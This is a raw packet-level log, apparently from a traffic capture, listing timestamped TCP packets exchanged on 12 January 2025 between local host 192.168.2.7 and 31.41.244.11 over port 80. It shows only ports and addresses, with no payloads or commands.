Jan 12, 2025 17:39:10.700417042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700450897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700478077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700495958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700495958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700495958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700510979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700544119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700572014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700586081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700586081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700586081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700607061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700639009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700670958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700679064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700679064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700679064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700704098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700737000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700766087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700766087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700769901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700798035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700803995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700814962 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700838089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700860023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700870991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700903893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700906038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700925112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700937033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.700959921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.700969934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701003075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701039076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701054096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701054096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701054096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701081991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701155901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701189995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701219082 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701222897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701256990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701289892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701296091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701296091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701296091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701323986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701356888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701383114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701383114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701390028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701419115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701442957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701442957 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701450109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701463938 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701478004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701492071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701493025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701493025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701505899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701508999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701520920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701522112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701535940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701545000 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701549053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701560020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701570988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701572895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701585054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701596022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701600075 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701606989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701612949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701622963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701633930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701646090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701656103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701663017 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701663971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701663971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701668024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701679945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701689959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701700926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701711893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701723099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701734066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701744080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701756001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701756954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701756954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701756954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701766968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701778889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701785088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701785088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701792955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701809883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701822042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701829910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701833963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701834917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701833963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701848030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701854944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701865911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701877117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701877117 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701889992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701893091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701901913 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701913118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701922894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701934099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701946020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701956034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701967001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701967955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701967955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701967955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.701978922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701991081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.701992989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702002048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702011108 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702014923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702020884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702028990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702039003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702049971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702059984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702064991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702070951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702080965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702085018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702096939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702100992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702109098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702116966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702121019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702132940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702143908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702155113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702166080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702173948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702173948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702177048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702188969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702199936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702208042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702208042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702212095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702224016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702234983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702244997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702249050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702258110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702303886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702306032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702306032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702315092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702327013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702337980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702348948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702359915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702375889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702375889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702375889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702408075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702450037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702450991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.702531099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.702694893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.707771063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.707787037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.707875013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708440065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708451986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708463907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708475113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708493948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708504915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708517075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708522081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708523035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708523035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708528996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708544016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708554983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708565950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708580017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708587885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708589077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708589077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708647013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708673000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708683968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708693981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708704948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708720922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708731890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708741903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708751917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708751917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708764076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708777905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708779097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708815098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708815098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708826065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708836079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708853960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708863974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708873987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708874941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708874941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708874941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708888054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708899975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708909988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708920956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708933115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708935022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708935022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708935022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708945990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.708997965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.708997965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709018946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709158897 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709197998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709209919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709220886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709232092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709244967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709255934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709266901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709278107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709285021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709285021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709285021 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709290028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709304094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709314108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709325075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709336042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709347963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709352016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709352016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709352016 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709362030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709376097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709409952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709410906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709410906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709553957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709566116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709578037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709589005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709599972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709610939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709621906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709633112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709644079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709651947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709651947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709656000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709670067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709681034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709692001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709702969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709702969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709702969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709712982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709723949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709733963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709734917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709748030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709758997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709770918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709775925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709775925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709781885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709794044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709805012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709815979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709816933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709824085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709857941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709863901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709863901 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709872007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709883928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709896088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709907055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709918022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709928989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709940910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709944963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709944963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709944963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709952116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709964991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709975958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709989071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.709995985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.709995985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710047007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710047007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710211039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710227013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710238934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710248947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710259914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710270882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710280895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710280895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710280895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710294962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710306883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710318089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710321903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710321903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710330963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710341930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710352898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710362911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710375071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710380077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710380077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:10.710386038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710397959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710412025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:10.710423946 CET	80	49975	31.41.244.11	192.168.2.7
